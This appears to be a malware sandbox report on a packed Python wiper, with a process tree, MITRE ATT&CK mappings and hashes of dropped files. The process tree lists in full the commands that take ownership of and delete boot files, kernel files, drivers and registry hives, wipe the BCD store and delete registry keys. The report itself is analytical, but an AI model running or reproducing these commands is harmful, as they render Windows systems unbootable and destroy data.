    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\Boot\EFI\bootmgfw.efi" /grant Administrators:F /t /c /q"
    3⤵
    PID:2904
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Boot\EFI\bootmgfw.efi" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\Boot\EFI\bootmgfw.efi""
    3⤵
    PID:2336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\Boot\EFI\bootmgr.efi" /r /d y"
    3⤵
    PID:5360
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Boot\EFI\bootmgr.efi" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\Boot\EFI\bootmgr.efi" /grant Administrators:F /t /c /q"
    3⤵
    PID:2188
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Boot\EFI\bootmgr.efi" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\Boot\EFI\bootmgr.efi""
    3⤵
    PID:5812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\Boot\EFI\memtest.efi" /r /d y"
    3⤵
    PID:2232
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Boot\EFI\memtest.efi" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:7668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\Boot\EFI\memtest.efi" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:1268
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Boot\EFI\memtest.efi" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\Boot\EFI\memtest.efi""
    3⤵
    - Executes a command shell one-liner
    PID:5044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\EFI\Microsoft\Boot\bootmgfw.efi" /r /d y"
    3⤵
    - Executes a command shell one-liner
    PID:2520
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\EFI\Microsoft\Boot\bootmgfw.efi" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\EFI\Microsoft\Boot\bootmgfw.efi" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:4788
  - - C:\Windows\system32\icacls.exe
      icacls "C:\EFI\Microsoft\Boot\bootmgfw.efi" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\EFI\Microsoft\Boot\bootmgr.efi" /r /d y"
    3⤵
    PID:1572
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\EFI\Microsoft\Boot\bootmgr.efi" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\EFI\Microsoft\Boot\bootmgr.efi" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:3588
  - - C:\Windows\system32\icacls.exe
      icacls "C:\EFI\Microsoft\Boot\bootmgr.efi" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\EFI\Microsoft\Boot\BCD" /r /d y"
    3⤵
    - Executes a command shell one-liner
    PID:880
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\EFI\Microsoft\Boot\BCD" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\EFI\Microsoft\Boot\BCD" /grant Administrators:F /t /c /q"
    3⤵
    PID:2528
  - - C:\Windows\system32\icacls.exe
      icacls "C:\EFI\Microsoft\Boot\BCD" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\EFI\Boot\bootx64.efi" /r /d y"
    3⤵
    PID:3956
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\EFI\Boot\bootx64.efi" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\EFI\Boot\bootx64.efi" /grant Administrators:F /t /c /q"
    3⤵
    PID:5848
  - - C:\Windows\system32\icacls.exe
      icacls "C:\EFI\Boot\bootx64.efi" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\EFI\Boot\bootia32.efi" /r /d y"
    3⤵
    PID:1928
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\EFI\Boot\bootia32.efi" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\EFI\Boot\bootia32.efi" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:3468
  - - C:\Windows\system32\icacls.exe
      icacls "C:\EFI\Boot\bootia32.efi" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\Boot\winload.efi" /r /d y"
    3⤵
    PID:2124
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\Boot\winload.efi" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Boot\winload.efi" /grant Administrators:F /t /c /q"
    3⤵
    PID:1236
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\Boot\winload.efi" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\Boot\winload.efi""
    3⤵
    PID:796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\Boot\winresume.efi" /r /d y"
    3⤵
    PID:5688
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\Boot\winresume.efi" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Boot\winresume.efi" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:5836
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\Boot\winresume.efi" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\Boot\winresume.efi""
    3⤵
    - Executes a command shell one-liner
    PID:5168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im explorer.exe"
    3⤵
    - Executes a command shell one-liner
    PID:7100
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im explorer.exe
      4⤵
      Kills process with taskkill
      PID:9096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im RuntimeBroker.exe"
    3⤵
    PID:4748
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im RuntimeBroker.exe
      4⤵
      Kills process with taskkill
      PID:4624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\ntoskrnl.exe" /r /d y"
    3⤵
    PID:4980
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\ntoskrnl.exe" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\ntoskrnl.exe" /grant Administrators:F /t /c /q"
    3⤵
    PID:2588
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\ntoskrnl.exe" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:7844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\ntoskrnl.exe""
    3⤵
    - Executes a command shell one-liner
    PID:1192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\hal.dll" /r /d y"
    3⤵
    PID:1372
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\ntdll.dll" /r /d y"
    3⤵
    PID:2084
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\ntdll.dll" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\hal.dll" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:6280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\ntdll.dll" /grant Administrators:F /t /c /q"
    3⤵
    PID:2388
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\ntdll.dll" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\hal.dll""
    3⤵
    - Executes a command shell one-liner
    PID:4644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\ntdll.dll""
    3⤵
    - Executes a command shell one-liner
    PID:2708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\winload.exe" /r /d y"
    3⤵
    PID:5040
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\winload.exe" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\winload.exe" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:5976
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\winload.exe" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\winload.exe""
    3⤵
    - Executes a command shell one-liner
    PID:256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\winresume.exe" /r /d y"
    3⤵
    PID:7404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\winresume.exe" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:7540
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\winresume.exe" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\winresume.exe""
    3⤵
    PID:7552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\ci.dll" /r /d y"
    3⤵
    PID:7568
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\ci.dll" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\ci.dll" /grant Administrators:F /t /c /q"
    3⤵
    PID:7576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\ci.dll""
    3⤵
    - Executes a command shell one-liner
    PID:7588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\SOFTWARE" /r /d y"
    3⤵
    PID:7704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\SOFTWARE" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:7716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\config\SOFTWARE""
    3⤵
    - Executes a command shell one-liner
    PID:7728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\SYSTEM" /r /d y"
    3⤵
    PID:7744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\SYSTEM" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:7752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\config\SYSTEM""
    3⤵
    PID:7768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\SAM" /r /d y"
    3⤵
    PID:7932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\drivers\ntfs.sys" /r /d y"
    3⤵
    PID:8100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\drivers\ntfs.sys" /grant Administrators:F /t /c /q"
    3⤵
    PID:8108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\drivers\ntfs.sys""
    3⤵
    PID:8116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\SAM" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:4316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\config\SAM""
    3⤵
    PID:4636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\drivers\disk.sys" /r /d y"
    3⤵
    PID:7048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\SECURITY" /r /d y"
    3⤵
    PID:8184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\drivers\disk.sys" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:7044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\SECURITY" /grant Administrators:F /t /c /q"
    3⤵
    PID:6820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\drivers\disk.sys""
    3⤵
    PID:7600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\drivers\acpi.sys" /r /d y"
    3⤵
    PID:6828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\drivers\acpi.sys" /grant Administrators:F /t /c /q"
    3⤵
    PID:8068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\drivers\acpi.sys""
    3⤵
    PID:7176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\config\SECURITY""
    3⤵
    PID:4088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\explorer.exe" /r /d y"
    3⤵
    - Executes a command shell one-liner
    PID:6872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\bootmgr" /r /d y"
    3⤵
    - Executes a command shell one-liner
    PID:8388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Boot\BCD" /r /d y"
    3⤵
    PID:8396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\bootmgr" /grant Administrators:F /t /c /q"
    3⤵
    PID:8404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Boot\BCD" /grant Administrators:F /t /c /q"
    3⤵
    PID:8412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\explorer.exe" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:8472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\explorer.exe""
    3⤵
    - Executes a command shell one-liner
    PID:8480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\Boot\BCD" /r /d y"
    3⤵
    PID:8552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\Boot\BCD" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:8700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\drivers" /r /d y"
    3⤵
    PID:8880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config" /r /d y"
    3⤵
    PID:8888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\drivers" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:8896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Boot" /r /d y"
    3⤵
    PID:9176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\Boot" /r /d y"
    3⤵
    - Executes a command shell one-liner
    PID:9184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config" /grant Administrators:F /t /c /q"
    3⤵
    PID:9192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\Boot" /grant Administrators:F /t /c /q"
    3⤵
    PID:9204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Boot" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:7344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {bootmgr} /f"
    3⤵
    PID:3844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {current} /f"
    3⤵
    - Executes a command shell one-liner
    PID:6608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {default} /f"
    3⤵
    - Executes a command shell one-liner
    PID:8212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /createstore C:\empty.bcd"
    3⤵
    - Executes a command shell one-liner
    PID:8228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /import C:\empty.bcd /clean"
    3⤵
    - Executes a command shell one-liner
    PID:8076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /f"
    3⤵
    PID:4452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f"
    3⤵
    PID:6768

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Impair Defenses

T1562

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_vbcjrdpi.w1c.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vbcjrdpi.w1c.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_4768_647101_AlOAy0-BSxE\VCRUNTIME140.dll
Size 174KB
SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
MD5 07bc2f9c4c1b07e1cc013ca0079b31ac
SHA1 1098f2a834146995df7a91c78f72f210d8d2d12d
SHA512 8fd063d61d1c57bfae5ef105b1796c141ef2752dbad17ae79f974c417542c075bc8b4ac12163629a74e43004fd9cf170a76de9d11841b6e5c236f5b47fbbb09b
SSDEEP 3072:aoq3aLPst/GrhA4gBSnSQ37QwZyeBB0ecbavp7D:aofLPsmBnSQ3VyeBB0ecbaV
TLSH
T1C6048D51B2CC00B2E92B9674CCD69553D6B1B0057B30AADF47A846782F33FF2A63DA15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_4768_647101_AlOAy0-BSxE\_bz2.pyd
Size 86KB
SHA256 b938073c85cf6b9fe80556d7899ed1901e5e60b7adea2832442376239fb36b36
MD5 4cc74cced07914bd71dc9c4d2a3f127a
SHA1 77bda774eff7c8afc94892d2d5d63dd3c80f9ea4
SHA512 8f81a5287bc5f59eeb6bb6703c00495cf761816e6eb20b6cb401af20040464fffc5b5e95d21b49d6260debb9cfac4031cf87b5248c0077fa8edd0d390cc1910b
SSDEEP 1536:+/BvOKz7hvAKyRXzgwnZpfzyONpGX/4TjW8hSlUbrjvUIp3VJyPs5i9EfIY+8i:YBvLztGRXHyONpE/ajhwYXUIp3VGV
TLSH
T185838E87E3A463F6F6AB81B4D6810753E730BB460750A3AFB24482853F23F91AE59355
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_4768_647101_AlOAy0-BSxE\_ctypes.pyd
Size 139KB
SHA256 408cc4e7a22ffa418ca52f5e13fe9268a3c50a2bc9de02b0530b555ef591bc5a
MD5 659510afbc97992af071a0e2a75545ef
SHA1 ec7dba6821ccc0e6b9f851d39812e0de3627130b
SHA512 76a243fb96129041bccf92c2e231efdb53aba519bb26d919dc8b213e949fc0534448bf75400702c03850abb7cd24b1cbd37e0d0c76615a34248615aa44cde4d1
SSDEEP 3072:e/n1qQ8rqSN56EBZSQ4ED1O/IxswJQW2DfrFAIpGPMS:on1Jb86JE0/IxfSvF6
TLSH
T149D38F4B736840E6DA678138C6739E47EBB1F4511A1087CF02A4C99B1F637A2AE3F715
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_4768_647101_AlOAy0-BSxE\_lzma.pyd
Size 157KB
SHA256 d2abf8db7fb0cf6285663b177991691a41b37e215c3d71fd087a98d8ec1bee63
MD5 e882005d06af06ef17b2338342b3f41e
SHA1 96dfac53ce267a9dd4d094bf5c5a665bc1cedfe9
SHA512 1e53c3501796da814f75ba8fc683720e968c5944fbeb2b9836c48a6656df0da120c075bc6c17ea788efa14be11f29172e80c64febe72e43502a02f707a5928dd
SSDEEP 3072:NJ66g4T5QW7JfyjEqkSkA51b4rznfJ9mNoVUIsbUIpI1yUx1:NUR4Tp4QPZ8N4nxYOIbHy
TLSH
T1FDF34C86B794F0E6F7328C78D2614F57E6F5781A0320929A01CC976D2B1FB759A2E313
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_zstd.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_4768_647101_AlOAy0-BSxE\_zstd.pyd
Size 491KB
SHA256 33c6eca99470c3eb9d776b617c550ad41b002a668336f062a9ab7be677a7409a
MD5 fee9e34fa16e0ff378c281202a78d003
SHA1 d8681b1ecf3776d1f095ecb738210423bcfec287
SHA512 766fa08c57cb9e000237a5690e6bae8fbe2d2fb79fdf39f1a2f07ec668ee225df9675c9041d4b26410cbb4fb341693454dbcad722bcff3e78321412e0bfcf4ae
SSDEEP 6144:HoRvcMPHwrJqB2l1eUVcXmgqCBdBwzKhThruVxzeeVUL2LzMYZpzBYQFE95+SClu:IRFcemgqKP2eeVC2Lz9kQe95BCl9Vmxp
TLSH
T1C2B48D43F29943EDE53BC4B8CF465A13FBB1780B1214965B97A5CB993F07B309A69308
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destroy_obf.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_4768_647101_AlOAy0-BSxE\destroy_obf.dll
Size 6.7MB
SHA256 21d9502544b7a0b0807c53420d85c30f386b4946b0fdd3df3d846e9a6f017610
MD5 68aadc3ebea1fcc8ffb51c4fef23b635
SHA1 cbacff2c05ba105dcf8ceb041b3451295c4260e7
SHA512 2dd44127ce11634e3b7352f6a4a2ff5fba9bb2f55d3e1e819118004b730dc4749be7918ba35e26dda87f185bbb433eafc8fbbe216bf6f2d848e1db50ead92357
SSDEEP 98304:o7MCpU/EvVqj1DSE1E2uvXeCow0uT6y1/L5kt:oPOEvEj1Tt
TLSH
T174664AA4BA905927FDE9F17831A76A45E722C016A300D343F07C88AE7F8E764DD7664C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libffi-8.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_4768_647101_AlOAy0-BSxE\libffi-8.dll
Size 38KB
SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
MD5 0f8e4992ca92baaf54cc0b43aaccce21
SHA1 c7300975df267b1d6adcbac0ac93fd7b1ab49bd2
SHA512 6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978
SSDEEP 768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
TLSH
T10B037C0B458418A4E657D53D97A64A2AC335B9240B60F2CB03D4C2BA3F6B7D6FB7C358
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python314.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_4768_647101_AlOAy0-BSxE\python314.dll
Size 6.5MB
SHA256 0f9857ffdfe010fe6b99328d58c2e3c7472ce75f336bf9c2ad9bd5bca3bce700
MD5 689a9724a63fb3b4f209c771c31d8a05
SHA1 2f88e8e16a9086e7974da71914fe4e89cd2eff9a
SHA512 0c96ec1b9ef6e56f29202681272c1062ea49867757c966ebdd050c513d4988cfab7cd6c31e1d94f438c1412b38f7b446af1629b2776c41d712051ab70054ac9f
SSDEEP 98304:xEQucV/qdDSSmJBA3ICXmRaJtv3vyHDMiE4rofB:xEQucVygSmJBA3InSiFG
TLSH
T19F668D26737515A4D8BB8035C9034647DBB1BC00AB30D34B49A4B6DA3F733635BAEB99
